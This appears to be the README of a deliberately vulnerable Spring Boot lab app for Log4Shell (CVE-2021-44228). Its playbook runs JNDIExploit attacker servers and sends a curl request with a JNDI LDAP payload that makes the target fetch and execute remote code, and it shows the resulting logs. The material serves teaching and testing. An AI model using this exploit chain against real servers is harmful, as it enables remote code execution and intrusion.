This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, known as log4shell.# Vulnerable application
This repository contains a Spring Boot web application vulnerable to `CVE-2021-44228`, known as [log4shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).
It uses
* `log-4j-core:2.14.1` (through `spring-boot-starter-log4j2`) and
* `openjdk:8u181`
## Running the application
Run it:
```bash
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
```
Or alternatively, build it yourself:
```bash
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
```
## Exploiting playbook
Using the following steps you can reproduce a log4shell exploit.
If you are not familiar with how the attack works under the hood check out this [article](https://learn.snyk.io/lessons/log4shell/java/) or the [slides](https://github.com/romanutti/log4shell-vulnerable-app/blob/main/doc/log4shell.pdf) in this repo.
**Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528)). I therefore recommend you to used the saved version from this repository.*
### Setup attacker servers
First we have to setup the attacker servers. This consist of
* a **LDAP server** that will redirect us to our malicious HTTP server
* a **HTTP server** that will return the harmful payload
We use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up the attacker servers.
```bash
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
```
### Triggering the exploit
As payload we want to execute `touch /tmp/pwned` (which corresponds to the base64-encoded `dG91Y2ggL3RtcC9wd25lZAo=`) on the vulnerable applications server.
Trigger the exploit using:
```bash
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```
The output of JNDIExploit shows that the attacker servers responded with the malicious exploit and executed the payload:
```
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
```
To confirm that the code execution was successful, we check that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:
```
$ docker exec vulnerable-app ls /tmp
...
pwned
...
```
## Reference
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/
[4.0K] /data/pocs/544c50eef2650899e3a96afc5c1066bc1a11b722
├── [4.0K] doc
│ └── [576K] log4shell.pdf
├── [ 363] Dockerfile
├── [9.8K] mvnw
├── [6.5K] mvnw.cmd
├── [1.5K] pom.xml
├── [3.2K] README.md
└── [4.0K] src
├── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] com
│ │ └── [4.0K] romanutti
│ │ └── [4.0K] log4shell
│ │ └── [4.0K] vulnerable
│ │ ├── [ 639] UserController.java
│ │ └── [ 335] VulnerableApplication.java
│ └── [4.0K] resources
│ ├── [ 1] application.properties
│ └── [ 34M] JNDIExploit.v1.2.zip
└── [4.0K] test
└── [4.0K] java
└── [4.0K] com
└── [4.0K] romanutti
└── [4.0K] log4shell
└── [4.0K] vulnerable
└── [ 230] VulnerableApplicationTests.java
15 directories, 11 files